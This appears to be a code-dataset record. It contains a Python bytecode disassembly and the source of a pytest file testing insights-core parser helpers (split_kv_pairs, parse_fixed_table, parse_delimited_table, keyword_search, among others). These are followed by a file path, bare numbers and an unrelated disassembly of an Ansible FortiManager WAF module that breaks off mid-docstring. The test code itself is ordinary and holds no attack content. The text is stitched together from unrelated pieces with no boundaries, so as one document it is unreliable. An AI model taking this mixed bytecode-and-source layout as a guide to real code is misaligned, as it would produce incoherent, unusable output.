RAISE_VARARGS LOAD_FAST results LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL CERT_LIST LOAD_CONST 1 BINARY_SUBSCR COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL keyword_search LOAD_GLOBAL CERT_LIST LOAD_CONST 'Monitoring' LOAD_CONST ('status__lower_value',) CALL_FUNCTION STORE_FAST results LOAD_GLOBAL len LOAD_FAST results CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST results LOAD_GLOBAL CERT_LIST COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL keyword_search LOAD_GLOBAL CERT_LIST LOAD_CONST 'tested' LOAD_CONST ('dash__space',) CALL_FUNCTION STORE_FAST results LOAD_GLOBAL len LOAD_FAST results CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST results LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL CERT_LIST LOAD_CONST 1 BINARY_SUBSCR COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL keyword_search LOAD_GLOBAL CERT_LIST LOAD_CONST 'type' LOAD_CONST ('certificate__contains',) CALL_FUNCTION STORE_FAST results LOAD_GLOBAL len LOAD_FAST results CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST results LOAD_GLOBAL CERT_LIST COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL keyword_search LOAD_GLOBAL CERT_LIST LOAD_CONST 'encryption' LOAD_CONST ('certificate__contains',) CALL_FUNCTION BUILD_LIST COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST i LOAD_GLOBAL DATA_LIST LOAD_FAST i BINARY_SUBSCR LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST i LOAD_GLOBAL DATA_LIST LOAD_FAST i BINARY_SUBSCR LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST i LOAD_GLOBAL DATA_LIST LOAD_FAST i BINARY_SUBSCR LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL keyword_search LOAD_GLOBAL PS_LIST LOAD_CONST None LOAD_CONST ('COMMAND__default',) CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'PID' BINARY_SUBSCR LOAD_CONST '726' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL keyword_search LOAD_GLOBAL PS_LIST LOAD_CONST 'alloc' LOAD_CONST ('_line__contains',) CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'PID' BINARY_SUBSCR LOAD_CONST '725' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL keyword_search LOAD_GLOBAL PS_LIST LOAD_CONST 'xfs' LOAD_CONST ('COMMAND__startswith',) CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'PID' BINARY_SUBSCR LOAD_CONST '725' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_GLOBAL keyword_search LOAD_GLOBAL PS_LIST LOAD_CONST 'KDMFLUSH' LOAD_CONST ('COMMAND__lower_value',) CALL_FUNCTION CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL keyword_search LOAD_GLOBAL PS_LIST LOAD_CONST None LOAD_CONST ('NONE__default',) CALL_FUNCTION BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL keyword_search LOAD_GLOBAL PS_LIST LOAD_CONST 'xfs' LOAD_CONST ('NONE__startswith',) CALL_FUNCTION BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL ParseException CALL_METHOD SETUP_WITH to 24 STORE_FAST e_info LOAD_GLOBAL ParseException LOAD_CONST 'This is a parse exception' CALL_FUNCTION RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST 'This is a parse exception' LOAD_GLOBAL str LOAD_FAST e_info LOAD_ATTR value CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL SkipComponent CALL_METHOD SETUP_WITH to 24 STORE_FAST e_info LOAD_GLOBAL SkipComponent LOAD_CONST 'This is a skip exception' CALL_FUNCTION RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST 'This is a skip exception' LOAD_GLOBAL str LOAD_FAST e_info LOAD_ATTR value CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE
import pytest from collections import OrderedDict from insights.core.exceptions import ParseException, SkipComponent from insights.parsers import ( calc_offset, keyword_search, optlist_to_dict, parse_delimited_table, parse_fixed_table, split_kv_pairs, unsplit_lines, ) SPLIT_TEST_1 = """ keyword1 = value1 # Inline comments keyword3 # Key with no separator keyword2 = value2a=True, value2b=100M """.strip() SPLIT_TEST_1_OD = OrderedDict( [ ("keyword1", "value1"), ("keyword3", ""), ("keyword2", "value2a=True, value2b=100M"), ] ) SPLIT_TEST_2 = """ @ Comment line keyword1: value1 @ Inline comments keyword2 : value2a=True, value2b=100M @ Comment indented keyword3 @ Key with no separator """.strip() OFFSET_CONTENT_1 = """ data 1 line data 2 line """.strip() OFFSET_CONTENT_2 = """ Warning line Error line data 1 line data 2 line Trailing line Blank line above Another trailing line Yet another trailing line Yet yet another trailing line """.strip() def test_split_kv_pairs(): kv_pairs = split_kv_pairs(SPLIT_TEST_1.splitlines()) assert len(kv_pairs) == 2 assert kv_pairs == {"keyword1": "value1", "keyword2": "value2a=True, value2b=100M"} kv_pairs = split_kv_pairs(SPLIT_TEST_1.splitlines(), filter_string="value2") assert len(kv_pairs) == 1 assert kv_pairs == {"keyword2": "value2a=True, value2b=100M"} kv_pairs = split_kv_pairs(SPLIT_TEST_1.splitlines(), use_partition=True) assert len(kv_pairs) == 3 assert kv_pairs == { "keyword1": "value1", "keyword2": "value2a=True, value2b=100M", "keyword3": "", } kv_pairs = split_kv_pairs( SPLIT_TEST_1.splitlines(), use_partition=True, ordered=True ) assert len(kv_pairs) == 3 assert kv_pairs == SPLIT_TEST_1_OD kv_pairs = split_kv_pairs(SPLIT_TEST_2.splitlines(), comment_char="@", split_on=":") assert len(kv_pairs) == 2 assert kv_pairs == {"keyword1": "value1", "keyword2": "value2a=True, value2b=100M"} kv_pairs = split_kv_pairs( SPLIT_TEST_2.splitlines(), comment_char="@", split_on=":", filter_string="value2", ) assert len(kv_pairs) == 1 assert kv_pairs == {"keyword2": "value2a=True, value2b=100M"} kv_pairs = split_kv_pairs( SPLIT_TEST_2.splitlines(), comment_char="@", split_on=":", use_partition=True ) assert len(kv_pairs) == 3 assert kv_pairs == { "keyword1": "value1", "keyword2": "value2a=True, value2b=100M", "keyword3": "", } SPLIT_LINES = """ Line one Line two part 1 \\ line two part 2\\ line two part 3 Line three """.strip() SPLIT_LINES_2 = """ Line one Line two part 1 ^ line two part 2^ line two part 3 Line three^ """.strip() SPLIT_LINES_3 = """ web.default_taskmaster_tasks = RHN::Task::SessionCleanup, RHN::Task::ErrataQueue, RHN::Task::ErrataEngine, RHN::Task::DailySummary, RHN::Task::SummaryPopulation, RHN::Task::RHNProc, RHN::Task::PackageCleanup db_host =""" def test_unsplit_lines(): lines = list(unsplit_lines(SPLIT_LINES.splitlines())) assert len(lines) == 3 assert lines[0] == "Line one" assert ( lines[1] == "Line two part 1 line two part 2 line two part 3" ) assert lines[2] == "Line three" lines = list(unsplit_lines(SPLIT_LINES_2.splitlines(), cont_char="^")) assert len(lines) == 3 assert lines[0] == "Line one" assert ( lines[1] == "Line two part 1 line two part 2 line two part 3" ) assert lines[2] == "Line three" # test continuation on last line lines = list( unsplit_lines(SPLIT_LINES_3.splitlines(), cont_char=",", keep_cont_char=True) ) assert len(lines) == 4 assert lines[0] == "" assert ( lines[1] == "web.default_taskmaster_tasks = RHN::Task::SessionCleanup, RHN::Task::ErrataQueue, RHN::Task::ErrataEngine, RHN::Task::DailySummary, RHN::Task::SummaryPopulation, RHN::Task::RHNProc, RHN::Task::PackageCleanup" ) assert lines[2] == "" assert lines[3] == "db_host =" def test_calc_offset(): assert calc_offset(OFFSET_CONTENT_1.splitlines(), target=[]) == 0 assert calc_offset(OFFSET_CONTENT_1.splitlines(), target=[None]) == 0 assert calc_offset(OFFSET_CONTENT_1.splitlines(), target=["data "]) == 0 with pytest.raises(ValueError): calc_offset(OFFSET_CONTENT_1.splitlines(), target=["xdata "]) with pytest.raises(ValueError): calc_offset(OFFSET_CONTENT_1.splitlines(), target=["data "], invert_search=True) assert ( calc_offset( OFFSET_CONTENT_1.splitlines(), target=["Trailing", "Blank", "Another "], invert_search=True, ) == 0 ) assert calc_offset(OFFSET_CONTENT_2.splitlines(), target=[]) == 0 assert calc_offset(OFFSET_CONTENT_2.splitlines(), target=["data "]) == 3 assert ( calc_offset( reversed(OFFSET_CONTENT_2.splitlines()), target=["Trailing", "Blank", "Another ", "Yet"], invert_search=True, ) == 6 ) assert calc_offset(OFFSET_CONTENT_2.splitlines(), target=["data", "2"]) == 3 assert ( calc_offset( OFFSET_CONTENT_2.splitlines(), target=["data", "2"], require_all=True ) == 4 ) assert ( calc_offset( reversed(OFFSET_CONTENT_2.splitlines()), target=["Trailing", "Blank", "Another ", "Yet"], invert_search=True, ) == 6 ) assert ( calc_offset( reversed(OFFSET_CONTENT_2.splitlines()), target=["Trailing", "Blank", "Another ", "Yet"], invert_search=True, require_all=True, ) == 6 ) FIXED_CONTENT_1 = """ Column1 Column2 Column3 data1 data 2 data 3 data4 data5 data6 data 7 data 9 """.strip() FIXED_CONTENT_1A = """ WARNING Column1 Column2 Column3 data1 data 2 data 3 data4 data5 data6 data 7 data 9 """.strip() FIXED_CONTENT_1B = """ Column1 Column2 Column3 data1 data 2 data4 data5 data6 data 7 data 9 """.strip() FIXED_CONTENT_2 = """ WARNING WARNING WARNING Some message Another message Column1 Column2 Column3 data1 data 2 data 3 data4 data5 data6 data 7 data 9 """.strip() FIXED_CONTENT_3 = """ WARNING WARNING WARNING Some message Another message Column1 Column2 Column3 data1 data 2 data 3 data4 data5 data6 data 7 data 9 Trailing non-data line Another trailing non-data line """.strip() FIXED_CONTENT_4 = """ WARNING WARNING WARNING Some message Another message Column1 Column 2 Column 3 data1 data 2 data 3 data4 data5 data6 data 7 data 9 data10 Trailing non-data line Another trailing non-data line """.strip() FIXED_CONTENT_5 = """ Column1 Column 2 Column 3 data1 data 2 data 3 data 7 data 9 data10 """.strip() FIXED_CONTENT_DUP_HEADER_PREFIXES = """ NAMESPACE NAME LABELS default foo app=superawesome """.strip() def test_parse_fixed_table(): data = parse_fixed_table(FIXED_CONTENT_1.splitlines()) assert len(data) == 3 assert data[0] == {"Column1": "data1", "Column2": "data 2", "Column3": "data 3"} assert data[1] == {"Column1": "data4", "Column2": "data5", "Column3": "data6"} assert data[2] == {"Column1": "data 7", "Column2": "", "Column3": "data 9"} data = parse_fixed_table(FIXED_CONTENT_1A.splitlines(), heading_ignore=["Column1 "]) assert len(data) == 3 assert data[0] == {"Column1": "data1", "Column2": "data 2", "Column3": "data 3"} assert data[1] == {"Column1": "data4", "Column2": "data5", "Column3": "data6"} assert data[2] == {"Column1": "data 7", "Column2": "", "Column3": "data 9"} data = parse_fixed_table(FIXED_CONTENT_1B.splitlines()) assert len(data) == 3 assert data[0] == {"Column1": "data1", "Column2": "data 2", "Column3": ""} assert data[1] == {"Column1": "data4", "Column2": "data5", "Column3": "data6"} assert data[2] == {"Column1": "data 7", "Column2": "", "Column3": "data 9"} data = parse_fixed_table(FIXED_CONTENT_2.splitlines(), heading_ignore=["Column1 "]) assert len(data) == 3 assert data[0] == {"Column1": "data1", "Column2": "data 2", "Column3": "data 3"} assert data[1] == {"Column1": "data4", "Column2": "data5", "Column3": "data6"} assert data[2] == {"Column1": "data 7", "Column2": "", "Column3": "data 9"} data = parse_fixed_table( FIXED_CONTENT_3.splitlines(), heading_ignore=["Column1 "], trailing_ignore=["Trailing", "Another"], ) assert len(data) == 3 assert data[0] == {"Column1": "data1", "Column2": "data 2", "Column3": "data 3"} assert data[1] == {"Column1": "data4", "Column2": "data5", "Column3": "data6"} assert data[2] == {"Column1": "data 7", "Column2": "", "Column3": "data 9"} data = parse_fixed_table( FIXED_CONTENT_4.splitlines(), heading_ignore=["Column1 "], header_substitute=[("Column 2", "Column_2"), ("Column 3", "Column_3")], trailing_ignore=["Trailing", "Another"], ) assert len(data) == 4 assert data[0] == {"Column1": "data1", "Column_2": "data 2", "Column_3": "data 3"} assert data[1] == {"Column1": "data4", "Column_2": "data5", "Column_3": "data6"} assert data[2] == {"Column1": "data 7", "Column_2": "", "Column_3": "data 9"} assert data[3] == {"Column1": "data10", "Column_2": "", "Column_3": ""} data = parse_fixed_table( ["foo" + line for line in FIXED_CONTENT_4.splitlines()], heading_ignore=["fooColumn1 "], header_substitute=[ ("fooColumn1", "Column1"), ("Column 2", "Column_2"), ("Column 3", "Column_3"), ], trailing_ignore=["foo"], ) assert len(data) == 6 assert data[4] == { "Column1": "fooTrailing", "Column_2": "non-data li", "Column_3": "ne", } assert data[5] == { "Column1": "foo Another", "Column_2": "trailing no", "Column_3": "n-data line", } data = parse_fixed_table(FIXED_CONTENT_DUP_HEADER_PREFIXES.splitlines()) assert data[0] == { "NAMESPACE": "default", "NAME": "foo", "LABELS": "app=superawesome", } data = parse_fixed_table(FIXED_CONTENT_5.splitlines()) assert len(data) == 3 def test_parse_fixed_table_empty_exception(): with pytest.raises(ParseException) as pe: parse_fixed_table(FIXED_CONTENT_1B.splitlines(), empty_exception=True) assert "Incorrect line:" in str(pe.value) def test_optlist_standard(): d = optlist_to_dict("key1,key2=val2,key1=val1,key3") assert sorted(d.keys()) == sorted(["key1", "key2", "key3"]) assert d["key1"] == "val1" assert d["key2"] == "val2" assert d["key3"] is True def test_optlist_no_vals(): d = optlist_to_dict("key1,key2=val2,key1=val1,key3", kv_sep=None) assert sorted(d.keys()) == sorted(["key1", "key1=val1", "key2=val2", "key3"]) assert d["key1"] is True assert d["key1=val1"] is True assert d["key2=val2"] is True assert d["key3"] is True def test_optlist_strip_quotes(): d = optlist_to_dict( '''key1="foo",key2='bar',key3="mismatched quotes',key4="inner'quotes"''', strip_quotes=True, ) assert sorted(d.keys()) == sorted(["key1", "key2", "key3", "key4"]) assert d["key1"] == "foo" assert d["key2"] == "bar" assert d["key3"] == "\"mismatched quotes'" assert d["key4"] == "inner'quotes" def test_optlist_with_spaces(): d = optlist_to_dict("""key1=foo, key2=bar""") assert "key1" in d assert "key2" in d PS_AUX_TEST = """ USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 19356 1544 ? Ss May31 0:01 /sbin/init root 1821 0.0 0.0 0 0 ? S May31 0:25 [kondemand/0] root 1864 0.0 0.0 18244 668 ? Ss May31 0:05 irqbalance --pid=/var/run/irqbalance.pid user1 20160 0.0 0.0 108472 1896 pts/3 Ss 10:09 0:00 bash root 20357 0.0 0.0 9120 760 ? Ss 10:09 0:00 /sbin/dhclient -1 -q -lf /var/lib/dhclient/dhclient-extbr0.leases -pf /var/run/dhclient-extbr0.pid extbr0 qemu 22673 0.8 10.2 1618556 805636 ? Sl 11:38 1:07 /usr/libexec/qemu-kvm -name rhel7 -S -M rhel6.5.0 -enable-kvm -m 1024 -smp 2,sockets=2,cores=1,threads=1 -uuid 13798ffc-bc1e-d437-4f3f-2e0fa6c923ad """ MISSING_DATA_TEST = """ WARNING: Locking disabled. Be careful! This could corrupt your metadata. LVM2_PV_FMT|LVM2_PV_UUID|LVM2_DEV_SIZE|LVM2_PV_NAME|LVM2_PV_MAJOR|LVM2_PV_MINOR|LVM2_PV_MDA_FREE|LVM2_PV_MDA_SIZE|LVM2_PV_EXT_VSN|LVM2_PE_START|LVM2_PV_SIZE|LVM2_PV_FREE|LVM2_PV_USED|LVM2_PV_ATTR|LVM2_PV_ALLOCATABLE|LVM2_PV_EXPORTED|LVM2_PV_MISSING|LVM2_PV_PE_COUNT|LVM2_PV_PE_ALLOC_COUNT|LVM2_PV_TAGS|LVM2_PV_MDA_COUNT|LVM2_PV_MDA_USED_COUNT|LVM2_PV_BA_START|LVM2_PV_BA_SIZE|LVM2_PV_IN_USE|LVM2_PV_DUPLICATE|LVM2_VG_NAME WARNING: Locking disabled. Be careful! This could corrupt your metadata. """ SUBSTITUTE_HEADERS_TEST = """ address,port,state,read-only 0.0.0.0,3000,LISTEN,N 10.76.19.184,37500,ESTAB,Y """.strip() POSTGRESQL_LOG = """ schema | table | rows public | rhnsnapshotpackage | 47428950 public | rhnpackagefile | 32174333 public | rhnpackagecapability | 12934215 public | rhnpackagechangelogrec | 11269933 public | rhnchecksum | 10129746 public | rhnactionconfigrevision | 2894957 public | rhnpackageprovides | 2712442 public | rhnpackagerequires | 2532861 public | rhn_command_target | 1009152 public | rhnconfigfilename | 0 public | rhnxccdfidentsystem | 0 public | rhndistchannelmap | 0 public | rhnactionvirtshutdown | 0 public | rhnpublicchannelfamily | 0 (402 rows) """.strip() # Normally has a --- separator line, which is ignored using get_active_lines TABLE1 = """ THIS IS A HEADER this is some content_with_blank_prefix This is more content """.strip() TABLE2 = [ "SID Nr Instance SAPLOCALHOST Version DIR_EXECUTABLE", "HA2| 16| D16| lu0417|749, patch 10, changelist 1698137| /usr/sap/HA2/D16/exe", "HA2| 22| D22| lu0417|749, patch 10, changelist 1698137| /usr/sap/HA2/D22/exe", ] TABLE3 = """ THIS | IS | A | HEADER this ^ is ^ some ^ content This ^ is ^ more ^ content """.strip() def test_parse_delimited_table(): assert parse_delimited_table([]) == [] tbl = parse_delimited_table( PS_AUX_TEST.splitlines(), max_splits=10, heading_ignore=["USER"] ) assert tbl assert isinstance(tbl, list) assert len(tbl) == 6 assert isinstance(tbl[0], dict) assert tbl[0] == { "%MEM": "0.0", "TTY": "?", "VSZ": "19356", "PID": "1", "%CPU": "0.0", "START": "May31", "COMMAND": "/sbin/init", "USER": "root", "STAT": "Ss", "TIME": "0:01", "RSS": "1544", } assert ( tbl[5]["COMMAND"] == "/usr/libexec/qemu-kvm -name rhel7 -S -M rhel6.5.0 -enable-kvm -m 1024 -smp 2,sockets=2,cores=1,threads=1 -uuid 13798ffc-bc1e-d437-4f3f-2e0fa6c923ad" ) tbl = parse_delimited_table( MISSING_DATA_TEST.splitlines(), delim="|", heading_ignore=["LVM2_PV_FMT"], trailing_ignore=["WARNING", "ERROR", "Cannot get lock"], ) assert isinstance(tbl, list) assert len(tbl) == 0 tbl = parse_delimited_table( SUBSTITUTE_HEADERS_TEST.splitlines(), delim=",", strip=False, header_substitute=[("read-only", "read_only")], ) assert tbl assert isinstance(tbl, list) assert len(tbl) == 2 assert isinstance(tbl[1], dict) assert tbl[1] == { "address": "10.76.19.184", "port": "37500", "state": "ESTAB", "read_only": "Y", } tbl = parse_delimited_table( POSTGRESQL_LOG.splitlines(), delim="|", trailing_ignore=["("] ) assert isinstance(tbl, list) assert len(tbl) == 14 assert isinstance(tbl[0], dict) assert tbl[0] == { "schema": "public", "table": "rhnsnapshotpackage", "rows": "47428950", } result = parse_delimited_table(TABLE3.splitlines(), delim="^", header_delim="|") assert isinstance(result, list) assert len(result) == 2 assert isinstance(result[0], dict) expected = [ {"THIS": "this", "IS": "is", "A": "some", "HEADER": "content"}, {"THIS": "This", "IS": "is", "A": "more", "HEADER": "content"}, ] assert expected == result result = parse_delimited_table(TABLE2, delim="|", header_delim=None) assert isinstance(result, list) assert len(result) == 2 assert isinstance(result[0], dict) expected = [ { "SID": "HA2", "Nr": "16", "Instance": "D16", "SAPLOCALHOST": "lu0417", "Version": "749, patch 10, changelist 1698137", "DIR_EXECUTABLE": "/usr/sap/HA2/D16/exe", }, { "SID": "HA2", "Nr": "22", "Instance": "D22", "SAPLOCALHOST": "lu0417", "Version": "749, patch 10, changelist 1698137", "DIR_EXECUTABLE": "/usr/sap/HA2/D22/exe", }, ] assert expected == result TABLE1_SP = TABLE1.splitlines() result = parse_delimited_table(TABLE1_SP, raw_line_key="raw_line") assert isinstance(result, list) assert len(result) == 2 assert isinstance(result[0], dict) assert result[0]["raw_line"] == TABLE1_SP[1] DATA_LIST = [ {"name": "test 1", "role": "server", "memory_gb": 16, "ssd": True}, {"name": "test 2", "role": "server", "memory_gb": 256, "ssd": False}, {"name": "test 3", "role": "server", "memory_gb": 16, "ssd": False}, {"name": "test 4", "role": "embedded", "memory_gb": 1, "ssd": False}, {"name": "test 5", "role": "workstation", "memory_gb": 16, "ssd": True}, ] CERT_LIST = [ { "status": "MONITORING", "stuck": "no", "key pair storage": "type=NSSDB,location='/etc/dirsrv/slapd-LDAP-EXAMPLE-COM',nickname='Server-Cert',token='NSS Certificate DB',pinfile='/etc/dirsrv/slapd-LDAP-EXAMPLE-COM/pwdfile.txt'", "certificate": { "type": "NSSDB", "location": "/etc/dirsrv/slapd-LDAP-EXAMPLE-COM", "nickname": "Server-Cert", "token": "NSS Certificate DB", }, "CA": "IPA", "issuer": "CN=Certificate Authority,O=LDAP.EXAMPLE.COM", "subject": "CN=master.LDAP.EXAMPLE.COM,O=LDAP.EXAMPLE.COM", "expires": "2017-06-28 12:52:12 UTC", "eku": "id-kp-serverAuth,id-kp-clientAuth", "pre-save command": "", "post-save command": "/usr/lib64/ipa/certmonger/restart_dirsrv LDAP-EXAMPLE-COM", "track": "yes", "auto-renew": "yes", }, { "status": "MONITORING", "stuck": "no", "key pair storage": "type=NSSDB,location='/etc/dirsrv/slapd-PKI-IPA',nickname='Server-Cert',token='NSS Certificate DB',pinfile='/etc/dirsrv/slapd-PKI-IPA/pwdfile.txt'", "certificate": { "type": "NSSDB", "location": "/etc/dirsrv/slapd-PKI-IPA", "nickname": "Server-Cert", "token": "NSS Certificate DB", }, "CA": "IPA", "issuer": "CN=Certificate Authority,O=EXAMPLE.COM", "subject": "CN=ldap.EXAMPLE.COM,O=EXAMPLE.COM", "expires": "2017-06-28 12:52:13 UTC", "eku": "id-kp-serverAuth,id-kp-clientAuth", "pre-save command": "", "post-save command": "/usr/lib64/ipa/certmonger/restart_dirsrv PKI-IPA", "track": "yes", "auto-renew": "yes", "dash- space": "tested", }, ] def test_keyword_search(): assert len(keyword_search(DATA_LIST)) == 0 assert keyword_search(DATA_LIST, cpu_count=4) == [] assert keyword_search(DATA_LIST, memory_gb=8) == [] results = keyword_search(DATA_LIST, role="embedded") assert len(results) == 1 assert results[0] == DATA_LIST[3] results = keyword_search(DATA_LIST, memory_gb=16) assert len(results) == 3 assert results == [DATA_LIST[i] for i in (0, 2, 4)] results = keyword_search(DATA_LIST, ssd=False) assert len(results) == 3 assert results == [DATA_LIST[i] for i in (1, 2, 3)] assert len(keyword_search([], role="server")) == 0 results = keyword_search(DATA_LIST, role__contains="e") assert len(results) == 4 assert results == [DATA_LIST[i] for i in (0, 1, 2, 3)] results = keyword_search(DATA_LIST, role__startswith="e") assert len(results) == 1 assert results[0] == DATA_LIST[3] results = keyword_search( CERT_LIST, pre_save_command="", key_pair_storage__startswith="type=NSSDB,location='/etc/dirsrv/slapd-PKI-IPA'", ) assert len(results) == 1 assert results[0] == CERT_LIST[1] results = keyword_search( CERT_LIST, post_save_command__contains="PKI-IPA", ) assert len(results) == 1 assert results[0] == CERT_LIST[1] results = keyword_search( CERT_LIST, status__lower_value="Monitoring", ) assert len(results) == 2 assert results == CERT_LIST results = keyword_search( CERT_LIST, dash__space="tested", ) assert len(results) == 1 assert results[0] == CERT_LIST[1] results = keyword_search(CERT_LIST, certificate__contains="type") assert len(results) == 2 assert results == CERT_LIST assert keyword_search(CERT_LIST, certificate__contains="encryption") == [] PS_LIST = [ {"PID": "692", "PPID": "2", "COMMAND": "kdmflush", "_line": " 692 2 kdmflush"}, {"PID": "701", "PPID": "2", "COMMAND": "kdmflush", "_line": " 701 2 kdmflush"}, {"PID": "725", "PPID": "2", "COMMAND": "xfsalloc", "_line": " 725 2 xfsalloc"}, {"PID": "726", "PPID": "2", "COMMAND": None, "_line": " 726 2 grep -F xx"}, ] def test_keyword_search_None(): assert keyword_search(PS_LIST, COMMAND__default=None)[0]["PID"] == "726" assert keyword_search(PS_LIST, _line__contains="alloc")[0]["PID"] == "725" assert keyword_search(PS_LIST, COMMAND__startswith="xfs")[0]["PID"] == "725" assert len(keyword_search(PS_LIST, COMMAND__lower_value="KDMFLUSH")) == 2 assert keyword_search(PS_LIST, NONE__default=None) == [] assert keyword_search(PS_LIST, NONE__startswith="xfs") == [] def test_parse_exception(): with pytest.raises(ParseException) as e_info: raise ParseException("This is a parse exception") assert "This is a parse exception" == str(e_info.value) def test_skip_exception(): with pytest.raises(SkipComponent) as e_info: raise SkipComponent("This is a skip exception") assert "This is a skip exception" == str(e_info.value)
data/insights-core-3.3.9/insights/tests/parsers/test_parsers_module.py
13,842
9,016
212,165
LOAD_CONST 0 LOAD_CONST ('absolute_import', 'division', 'print_function') IMPORT_NAME __future__ IMPORT_FROM absolute_import STORE_NAME absolute_import IMPORT_FROM division STORE_NAME division IMPORT_FROM print_function STORE_NAME print_function POP_TOP LOAD_NAME type STORE_NAME __metaclass__ LOAD_CONST 'preview' BUILD_LIST LOAD_CONST 'community' LOAD_CONST '1.1' LOAD_CONST ('status', 'supported_by', 'metadata_version') BUILD_CONST_KEY_MAP STORE_NAME ANSIBLE_METADATA LOAD_CONST '\n---\nmodule: fmgr_waf_profile_method\nshort_description: Method restriction.\ndescription:\n - This module is able to configure a FortiManager device.\n - Examples include all parameters and values which need to be adjusted to data sources before usage.\n\nversion_added: "2.0.0"\nauthor:\n - Xinwei Du (@dux-fortinet)\n - Xing Li (@lix-fortinet)\n - Jie Xue (@JieX19)\n - Link Zheng (@chillancezen)\n - Frank Shen (@fshen01)\n - Hongbin Lu (@fgtdev-hblu)\nnotes:\n - Running in workspace locking mode is supported in this FortiManager module, the top\n level parameters workspace_locking_adom and workspace_locking_timeout help do the work.\n - To create or update an object, use state present directive.\n - To delete an object, use state absent directive.\n - Normally, running one module can fail when a non-zero rc is returned. you can also override\n the conditions to fail or succeed with parameters rc_failed and rc_succeeded\n\noptions:\n access_token:\n description: The token to access FortiManager without using username and password.\n required: false\n type: str\n bypass_validation:\n description: Only set to True when module schema diffs with FortiManager API structure, module continues to execute without validating parameters.\n required: false\n type: bool\n default: false\n enable_log:\n description: Enable/Disable logging for task.\n required: false\n type: bool\n default: false\n forticloud_access_token:\n description: Authenticate Ansible client with forticloud API access token.\n required: false\n type: str\n proposed_method:\n description: The overridden method for the underlying Json RPC request.\n required: false\n type: str\n choices:\n - update\n - set\n - add\n rc_succeeded:\n description: The rc codes list with which the conditions to succeed will be overriden.\n type: list\n required: false\n elements: int\n rc_failed:\n description: The rc codes list with which the conditions to fail will be overriden.\n type: list\n required: false\n elements: int\n workspace_locking_adom:\n description: The adom to lock for FortiManager running in workspace mode, the value can be global and others including root.\n required: false\n type: str\n workspace_locking_timeout:\n description: The maximum time in seconds to wait for other user to release the workspace lock.\n required: false\n type: int\n default: 300\n adom:\n description: the parameter (adom) in requested url\n type: str\n required: true\n profile:\n description: the parameter (profile) in requested url\n type: str\n required: true\n waf_profile_method:\n description: the top level parameters set\n required: false\n type: dict\n suboptions:\n default-allowed-methods:\n type: list\n elements: str\n description: no description\n choices:\n - \'delete\'\n - \'get\'\n - \'head\'\n - \'options\'\n - \'post\'\n - \'put\'\n - \'trace\'\n - \'others\'\n - \'connect\'\n log:\n type: str\n description: Enable/disable logging.\n choices:\n - \'disable\'\n - \'enable\'\n method-policy:\n type: list\n elements: dict\n description: no description\n suboptions:\n address:\n type: str\n description: Host address.\n allowed-methods:\n type: list\n elements: str\n description: no description\n choices:\n - \'delete\'\n - \'get\'\n - \'head\'\n - \'options\'\n - \'post\'\n - \'put\'\n - \'trace\'\n - \'others\'\n - \'connect\'\n id:\n type: int\n description: HTTP method policy ID.\n pattern:\n type: str\n description: URL pattern.\n regex:\n type: str\n description: Enable/disable regular expression based pattern match.\n choices:\n - \'disable\'\n - \'enable\'\n severity:\n type: str\n description: Severity.\n choices:\n - \'low\'\n - \'medium\'\n - \'high\'\n status:\n type: str\n 